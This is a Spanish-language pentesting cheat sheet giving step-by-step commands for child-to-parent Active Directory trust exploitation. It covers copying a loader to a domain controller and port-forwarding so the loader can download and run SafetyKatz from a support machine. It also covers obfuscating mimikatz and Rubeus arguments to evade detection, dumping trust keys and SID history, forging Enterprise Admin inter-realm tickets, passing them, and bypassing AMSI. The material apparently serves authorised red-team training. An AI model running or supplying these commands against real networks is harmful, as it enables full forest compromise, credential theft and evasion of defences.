[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/trust-child-to-parent
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd trust-child-to-parent/█

Explotación de confianza (child to parent)

techniqueprivescwindows← índice
Advertencia

Across Forest — para saltar a otro bosque, repetir estos pasos pero desde el DC del dominio padre.

SID History (SafetyKatz)

Iniciar una shell con permisos de DA.

Copiar el Loader en el DC:

echo F | xcopy Loader.exe \\<DC_MACHINE_NAME>\C$\Users\Public\Loader.exe /Y

Ingresar al DC:

winrs /r:<DC_MACHINE_NAME> cmd

Crear un port forwarding:

netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<LOCAL_IP_ADDRESS>

Codificar e insertar lsadump::trust:

set "z=t"
set "y=s"
set "x=u"
set "w=r"
set "v=t"
set "u=:"
set "t=:"
set "s=p"
set "r=m"
set "q=u"
set "p=d"
set "o=a"
set "n=s"
set "m=l"
set "Pwn=%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"

En la máquina de apoyo, levantar un servicio web en el puerto 80 que sirva el binario de SafetyKatz.

Ejecutar SafetyKatz para obtener el SID History y el Trust Key:

C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "%Pwn% /patch" "exit"

Forjar con Rubeus

Codificar e insertar silver:

set "z=r"
set "y=e"
set "x=v"
set "w=l"
set "v=i"
set "u=s"
set "Pwn=%u%%v%%w%%x%%y%%z%"

Forjar el ticket con el SID History del Enterprise Admin:

Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /service:krbtgt/<DOMAIN> /rc4:<TRUST_KEY> /sid:<SID_DOMAIN> /sids:<SID_HISTORY>-519 /ldap /user:Administrator /nowrap

Codificar e insertar asktgs:

set "z=s"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"

Realizar PTT con el ticket base64 del comando anterior:

Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /service:<SERVICE_NAME> /dc:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN> /ptt /ticket:<B64_TICKET>

Acceder al DC del dominio padre:

winrs /r:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN>

Forjar con BetterSafetyKatz

Forjar el ticket con el SID History del Enterprise Admin:

BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:<CHILD_DOMAIN> /sid:<SID_DOMAIN> /sids:<SID_HISTORY>-519 /rc4:<TRUST_KEY> /service:krbtgt /target:<PARENT_DOMAIN> /ticket:trust_tkt.kirbi" "exit"

Codificar e insertar asktgs:

set "z=s"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"

Realizar PTT con el ticket del comando anterior:

Loader.exe -path Rubeus.exe -args %Pwn% /ticket:trust_tkt.kirbi /service:<SERVICE_NAME> /dc:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN> /ptt

Acceder al DC del dominio padre:

winrs /r:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN>

Invoke-Mimikatz + Kekeo

Iniciar sesión remota en el DC:

powershell -ep bypass
$sess = New-PSSession -ComputerName <DC_MACHINE_NAME>
Enter-PSSession -Session $sess

Realizar el bypass de AMSI en la sesión remota y salir con exit.

Copiar Invoke-Mimikatz en la sesión:

Invoke-Command -FilePath Invoke-Mimi.ps1 -Session $sess

Volcar el SID History y el Trust Key:

Enter-PSSession -Session $sess
Invoke-Mimi -Command '"lsadump::trust /patch"'

Crear un TGT inter-realm:

Invoke-Mimi -Command '"kerberos::golden /user:Administrator /domain:<CHILD_DOMAIN> /sid:<SID_DOMAIN> /sids:<SID_HISTORY>-519 /rc4:<TRUST_KEY> /service:krbtgt /target:<PARENT_DOMAIN> /ticket:trust_tkt.kirbi"'

Crear un TGS para un servicio del dominio padre:

.\asktgs.exe trust_tkt.kirbi <SERVICE_NAME>

Presentar el TGS al servicio:

.\kirbikator.exe lsa .\<TICKET_NAME>.kirbi